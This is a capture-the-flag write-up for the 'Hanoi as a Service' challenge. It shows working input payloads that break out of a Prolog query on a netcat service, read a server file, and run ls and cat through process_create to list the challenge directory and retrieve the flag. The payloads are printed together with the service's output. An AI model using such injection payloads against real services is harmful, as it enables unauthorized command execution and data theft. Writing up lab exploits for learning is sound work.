Hanoi as a Service

Pwnable - 50 Points

Check out our shiny new HaaS platform!
nc haas.polictf.it 80

Writeup

We started playing with the Hanoi service:

thezero:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
3
* Move top disk from a to b
* Move top disk from a to c
* Move top disk from b to c
* Move top disk from a to b
* Move top disk from c to a
* Move top disk from c to b
* Move top disk from a to b
thezero:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
-1  
ERROR: Prolog initialisation failed:
ERROR: Out of local stack

Yeah, Prolog.
Typing random input in prolog we landed on a Python exception talking about a /home/ctf/haas/haas-proxy.py file.
We wanted to read that file so bad that we asked to ocean (the CTF organizer) if it was Open Source :D

thezero:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),shell("cat /home/ctf/haas/haas-proxy.py")
Nice try...

So, there are some checks on the input after all ahaha
We tried reading the file with prolog itself

thezero:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),open('/home/ctf/haas/haas-proxy.py',read,X),read_line_to_codes(X, A),write_ln(A
[35,33,47,117,115,114,47,98,105,110,47,101,110,118,32,112,121,116,104,111,110]

Converted the array to string

var s=[35,33,47,117,115,114,47,98,105,110,47,101,110,118,32,112,121,116,104,111,110],s1=""
for(var i=0;i<s.length;i++){
   s1+=String.fromCharCode(s[i]);
}
console.log(s1)
// output: #!/usr/bin/env python

With this method we can only read the first line.
Reading the Prolog documentation we hit the “process_create/3” function.
MUAHAHAHAHAHAHAHAH

thezero:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),process_create(path(ls),['-l','/home/ctf/haas'],[]
total 372
-rwxr-x--- 1 ubuntu ctf 369220 Jun  1 12:27 haas
-rwxr-x--- 1 ubuntu ctf   1572 Jun  1 12:27 haas-proxy.py
-r--r----- 1 ubuntu ctf     35 Jun  1 12:18 jhknsjdfhef_flag_here
thezero:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),process_create(path(cat),['/home/ctf/haas/jhknsjdfhef_flag_here'],[]
flag{Pr0gramm1ng_in_l0g1c_1s_c00l}

Game, Set, Match.

PS: As promised, the haas-proxy.py sources